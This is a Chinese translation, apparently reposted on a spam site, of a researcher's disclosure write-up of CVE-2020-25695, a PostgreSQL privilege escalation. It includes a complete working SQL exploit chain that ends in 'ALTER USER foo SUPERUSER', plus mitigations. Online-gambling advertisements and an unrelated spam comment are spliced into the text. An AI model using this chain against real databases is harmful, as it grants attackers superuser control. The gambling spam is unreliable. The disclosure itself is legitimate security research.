CVE-2020-25695 Postgresql中的权限提升

已经快一年多了,我希望每个人都安康。这是我今年的第一篇也是唯一的一篇文章,涵盖了我在Postgresql中发现的一个有趣的特权升级破绽。这会影响从9.5最先的所有受支持的Postgresql版本,很可能也会影响大多数较早的版本。

该破绽类似于检查时间到使用时间TOCTOU的问题,然则在这种情形,它与退出平安受限操作之前未完全消灭/重置状态有关。

测试版本:

  • 13.0 – PostgreSQL 13.0 (Debian 13.0-1.pgdg100+1)
  • 12.4 – PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
  • 12.3 – PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
  • 11.9 – PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)

刊行说明和更新:https : //www.postgresql.org/

目的

我的目的找到一个破绽,该破绽将允许一个没有权限的用户将其提升到superuser

有一些正当的方式可以为用户提供更高的Postgresql权限,而不给予用户完整的superuser权限。

通常使用SECURITY DEFINER函数完成此操作。

设置不那时,可以使用一个恶意编写的SECURITY DEFINER 函数和可控制search_path来提升特权。(Cybertec Blog)

在Postgresql文档中(how to safely write security definer fuNCtions)显式地说明晰此功效。

由于SECURITY DEFINER函数是以拥有它的用户的特权执行的,因此,需要注重使用,确保该函数不会被滥用。

只管这是正当的功效,它仍然提供了一个很好的最先,由于它使我领会了在源代码中查找的位置。

或许会有一种在其他上下文使用SECURITY DEFINER的方式。

查找

我首先研究了平安界说器函数和Postgresql切换用户权限的其他位置,我注重到其中提高security-restricted operations。这立刻引发了一种理想,即可能在其中找到某些器械。挪用grep,并搜索了提到security-restricted operations的位置。

该术语泛起的两个地方是src/backend/commands/analyze.cANALYZE令)和src/backend/commands/vacuum.cVACUUM指令),两者中都有相同的代码注释。

/*
* Switch to the tABLe owner's userid, so that any index functions are run
* as that user.  Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command.
*/

这带我们走进下一部门。

索引和功效

这似乎很有趣,我不知道索引可以运行函数。现在是时刻去先弄清楚若何使索引运行用户功效。

原来这是很容易做到的。文档有大量的索引挪用函数示例(纵然这些不是用户界说的, 它也展示了若何组织sql查询的语法)

例如:

CREATE INDEX ON films ((lower(title)));

在这种情形下, 一个索引被确立在filmstitle列,并使用lower函数将其转换为小写。这将很直接轻松地提供一个用户确立的功效而不是lower

我跳过了一些需要的调试步骤,但...以归结为阅读使用函数时抛出的错误信息。此时要注重的事情是一个INDEX需要一个IMMUTABLE函数,这意味着该函数将始终为给定的输入返回相同的效果。这是有原理的,INDEX正在实验优化唯一性。

CREATE FUNCTION sfunc(integer) 
  RETURNS integer
  LANGUAGE sql IMMUTABLE AS
  'SELECT $1';

现在确立一个表,并在该表确立一个索引:

CREATE TABLE blah (a int, b int);
INSERT INTO blah VALUES (1,1);

CREATE INDEX indy ON blah (sfunc(a));

这作用并不是很大,我想要一个做更有用事情的功效。例如将值插入到其他表中。缘故原由是我想索引正在执行索引功效的用户。 在这点上,我的想法是:

create index as unpriv --> privileged user executes ANALYZE/VACUUM --> index function executes as privileged user

在这种场景,我设计使用SERCURITY INVOKER诱使Postgres以特权用户执行此功效。

-- create the table to insert the user into
CREATE TABLE t0 (s varchar);

-- create the security invoker function
CREATE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
   'INSERT INTO t0 VALUES (current_user); SELECT $1';

如上文所说, 索引需要一个IMMUTABLE函数.因此,实验在索引使用该函数,将引发错误:

tmp=, CREATE INDEX indy ON blah (sfunc(a));
ERROR:  functions in index expression must be marked IMMUTABLE

这似乎是一个死胡同。然后我突然想到可以重新确立/重新界说功效。只要您使用CREATE OR REPLACE FUNCTION,任何现有的功效将会被笼罩。也许INDEX不会去检查一个界说好的函数是否会发生改变。(剧透,它简直不会)

CREATE FUNCTION sfunc(integer) 
  RETURNS integer
  LANGUAGE sql IMMUTABLE AS
  'SELECT $1';

CREATE INDEX indy ON blah (sfunc(a));

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

现在,当索引运行时,current_user将会被插入到t0表中,为了确认,我切换到特权用户(postgres)并执行了该ANALYZE功效。

tmp=, SELECT * FROM t0;
 s
---
(0 rows)

tmp=, ANALYZE;
ANALYZE
tmp=, SELECT * FROM t0;
  s
-----
 foo
(1 row)

tmp=,

函数有用地触发了,然则我们插入了用户foo而不是postgres。这说明SECURITY INVOKER没有用果。

回首前面的源代码注释,我们可以回想起在security-restricted函数中已切换所有者的uid.是的,我们证明晰此功效有用,确认了我们找到了一个不错的绕过IMMUTABLE检查的功效,但这不是一个真正的平安问题。

稍后再说-延缓

回到源代码,我领会了若何进入security-restricted操作,然后退出。

vacuum.c文件中,有一些有趣的注释。也许您可以立刻发现引起我注重的部门。

/*
  * Switch to the table owner's userid, so that any index functions are run
  * as that user.  Also lock down security-restricted operations and
  * arrange to make GUC variable changes local to this command. (This is
  * unnecessary, but harmless, for lazy VACUUM.)
  */
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
                                            save_sec_context | SECURITY_RESTRICTED_OPERATION);
save_nestlevel = NewGUCNestLevel();

// DO LOTS OF WORK
// <--- SNIP --->

/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);

/* all done with this class, but hold lock until commit */
if (onerel)
        relation_close(onerel, NoLock);

/*
  * Complete the transaction and free all temporary memory used.
  */
PopActiveSnapshot();
CommitTransactionCommand();

看到最后的注释和函数挪用了吗? 在CommitTransactionCommand()之后执行SetUserAndSecContext,将上下文用户标识重置为执行用户的上下文。在SQL中,您具有事务,而且直到提交的时刻事务才终结。这为你提供了执行某些SQL的空间,让它的一部门失败,然后完整地回滚到输入事务之前对状态的任何更改。在此代码中,用户在提交事务之前已还原,这事实使我想知道是否有可能在提交完成之前潜入一些其他下令来执行。

下来,花了很长时间去阅读文档并寻找延迟执行SQL下令的方式。最终,我碰到了INITIALLY DEFERRED,他掌握领会锁这个难题的要害。这是文档的一部门TRIGGERS,其进一步让理想成真。

什么INITIALLY DEFERRED?

,

欧博allbet网址ALLbet6.com

欢迎进入欧博开户网址(Allbet Gaming):www.aLLbetgame.us,欧博allbet网址开放欧博allbet网址、会员注册、代理开户、电脑客户端下载、苹果安卓下载等业务。

,

INITIALLY DEFERRED The default timing of the trigger. See the CREATE TABLE documentation for details of these constraint options. This can only be specified for constraint triggers.

进入CREATE TABLE参考文献,您会发现:

If a constraint is deferrable, this clause specifies the default time to check the constraint. If the constraint is INITIALLY IMMEDIATE, it is checked after each statement. This is the default. If the constraint is INITIALLY DEFERRED, it is checked only at the end of the transaction. The constraint check time can be altered with the SET CONSTRAINTS command.

听起来完全像我们想要的!初始化延迟的约束只在"事务竣事"时检查。这表明他将在上下文切换之后,但在commit之前发生。

实践

下一个技巧是弄清楚若何使用约束触发器以及应将约束触发器放置在那边,以便它在准确的时刻触发。

首先,一个CONSTRAINT TRIGGER需要一个函数去执行。这将是我们"最终"的步骤,应该在特权用户上下文执行。因此,我们将特权操作插入到这个函数,另外一个技巧是CONSTRAINT TRIGGER需要以某种方式触发。幸运地是,我们已经准备好了初始位。由于索引挪用我们插入到table中的自界说函数插入t0表,这个动作将导致约束触发器执行

Index runs --> sfunc inserts into t0 --> constraint trigger fires --> strig function is executed

这留给我们以下的SQL语句:

CREATE TABLE t1 (s varchar);

-- create a function for inserting current user into another table

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t1 VALUES (current_user); SELECT $1';

-- create a trigger function which will call the second function for inserting current user into table t1
CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
  AS $e$ BEGIN 
    PERFORM snfunc(1000); RETURN NEW; 
  END $e$ 
LANGUAGE plpgsql;

/* create a CONSTRAINT TRIGGER, which is deferred
 deferred causes it to trigger on commit, by which time the user has been switched back to the
 invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED 
    FOR EACH ROW
  EXECUTE PROCEDURE strig();

我们必须确立第二个插入函数,否则我们将以非特权用户身份继续插入到要插入到其中的初始表中。

我们还希望该功效是现实执行特权操作的功效。这一点可以被简化,而且触发功效可以完成所有操作。然则这就是我那时大脑的工作方式,为什么要弄乱一些可行的器械?

tmp=> SELECT * FROM t0;
  s 
----- 
  foo
(1 row)

tmp=> SELECT * FROM t1;
 s
---
(0 rows)

tmp=> INSERT INTO t0 VALUES ('baz');
INSERT 0 1
tmp=> SELECT * FROM t1;
  s
-----
 foo
(1 row)

哇,current_user已插入table中t1。切换到特权用户(postgre)并插入t0,应该导致postgres泛起在表中t1

tmp=, INSERT INTO t0 VALUES ('bazfoo');
INSERT 0 1
tmp=, SELECT * FROM t1;
    s
----------
 foo
 postgres
(2 rows)

太棒了, 现在我们可以诱骗特权用户插入到我们的表中。或者更好的方式是,测试ANALYZEVACUUM函数现在是否在平安性受限的操作之外执行最终下令。

剖析

作为特权用户,只需ANALYZE在此时执行:

tmp=, ANALYZE;
ANALYZE
tmp=, SELECT * FROM t1;
    s
----------
 foo
 postgres
 postgres
(3 rows)

乐成执行!这意味着只要有特权的用户执行ANALYZE(或VACUMM就此而言),就有机遇以该用户的身份执行下令!事实证明ANALYZEVACUUM这是特权用户经常执行的异常常见的治理操作。因此,priv-esc的机遇应该很高。

自动化

在这一点上,我们已经进行了特权升级,然则仍然需要一些手动交互。幸运地是,由于ANALYZEVACUUM函数通常运行,而且经常由于事宜运行。因此Postgresql具有内置的功效来定期运行这些功效

(需要启用,默认情形下处于禁用状态)。也许可以通过此autovacuum历程直接触发此问题?

要强制触发autovacuum运行,可以设置一些较低的阈值,然后在几回插入和删除之后该历程将运行:

ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);

不幸地是,这没有用。此时我差点以为autovacuum没有破绽。然则幸运地是,我决议实验去找出它没有"破绽"的缘故原由。只需快速查看日志即可确定问题所在:

tail -f /var/log/postgres/postgresql-12-main.log

2020-10-15 19:42:19.501 UTC [14231] LOG:  automatic vacuum of table "tmp.public.blah": index scans: 1
        pages: 0 removed, 1 remain, 0 skipped due to pins, 0 skipped frozen
        tuples: 6 removed, 1 remain, 0 are dead but not yet removable, oldest xmin: 2618
        buffer usage: 43 hits, 4 misses, 7 dirtied
        avg read rate: 53.879 MB/s, avg write rate: 94.289 MB/s
        system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
2020-10-15 19:42:19.531 UTC [14231] ERROR:  relation "t0" does not exist at character 13
2020-10-15 19:42:19.531 UTC [14231] QUERY:  INSERT INTO t0 VALUES (current_user); SELECT $1
2020-10-15 19:42:19.531 UTC [14231] CONTEXT:  SQL function "sfunc" during startup

问题很明显,autovacuum在Postgres中运行,然则没有数据库和模式集.因此当它实验INSERT INTO t0时,他不能找到表! 所需要做的就是通过提供数据库和模式来告诉autovacuum在那里可以找到完整的关系。

一个简朴的更改:

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

变为:

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';

现在,当autovacuum运行时,它将触发破绽并以指导超级用户(通常为postgres)执行。

全自动化

在这一点上,将其编程一个完整的破绽行使行使程序,可以自动将用户提升为superuser。有一个小问题,由于整个破绽行使链是在插入基表时触发的,因此事务将在破绽行使实验提升特权的时刻失败(由于它仍然以非特权用户身份执行,而不是在autovacuum历程执行)。这就需要一个简朴的保护措施来检查洞行使程序(特权提升)是否应该运行,或者是否应该继续为autovacuum确立破绽行使链。

-- Low privileged function

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
SELECT $1';

-- High privileged function

CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user); 
ALTER USER foo SUPERUSER; 
SELECT $1';

-- updated trigger

CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
AS $e$ 
BEGIN 
IF current_user = 'postgres' THEN
    PERFORM tmp.public.snfunc2(1000); RETURN NEW; 
ELSE
    PERFORM tmp.public.snfunc(1000); RETURN NEW; 
END IF;
END $e$ 
LANGUAGE plpgsql;

现在,当autovacuum运行时,低特权用户将被提升为超级用户。 顶框显示autovacuum的日志, 底框显示INSERT / DELETE触发autovacuum

电银付激活码(dianyinzhifu.com):CVE-2020-25695 Postgresql中的权限提升 安全技术 漏洞分析 第1张

修复和总结

已公布所有受支持的Postgresql版本的补丁。这些可直接从https://www.postgresql.org/获得,或应在软件包镜像中获得。

无法应用补丁的情形下,可以接纳一些缓解措施。这些确实带有可能会严重影响性能的忠告。

虽然实时更新PostgreSQL是大多数用户的最佳补救措施,然则无法做到这一点的用户可以通过禁用自动清算而且不手动运行ANALYZE,CLUSTER,REINDEX,CREATE INDEX,VACUUM FULL,REFRESH MATERIALIZED VIEW或从 来自pg_dump下令的输出还原来解决该破绽。在这种解决方式下,性能可能会迅速下降。

完整的建议已发送:https : //gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214

修复:https : //www.postgresql.org/

本文为翻译文章

原文链接:https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc/


Allbet Gaming声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:电银付激活码(dianyinzhifu.com):CVE-2020-25695 Postgresql中的权限提升
发布评论

分享到:

usdt支付接口(caibao.it):Webshell免杀的思索与学习
1 条回复
  1. 币游
    币游
    (2021-02-07 00:02:26) 1#

      比起正值青春、在蘑菇屋笑闹的年轻人们,郑钧和老狼却是另一番情形。他们和黄磊是在学生时代就体会的挚友,配合履历了许多风雨的他们此次做客西双版纳,让黄磊感应说“我最好的哥们来了,我兴奋啊”。午后,老狼举起麦克风唱起郑钧的《赤裸裸》,夜间这三位老友也随便开唱承载着他们青春影象的老歌,嘹亮的歌声响彻曼远小村,老友相聚回忆校园往事的时势异常温馨。还行,再精彩一点。

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。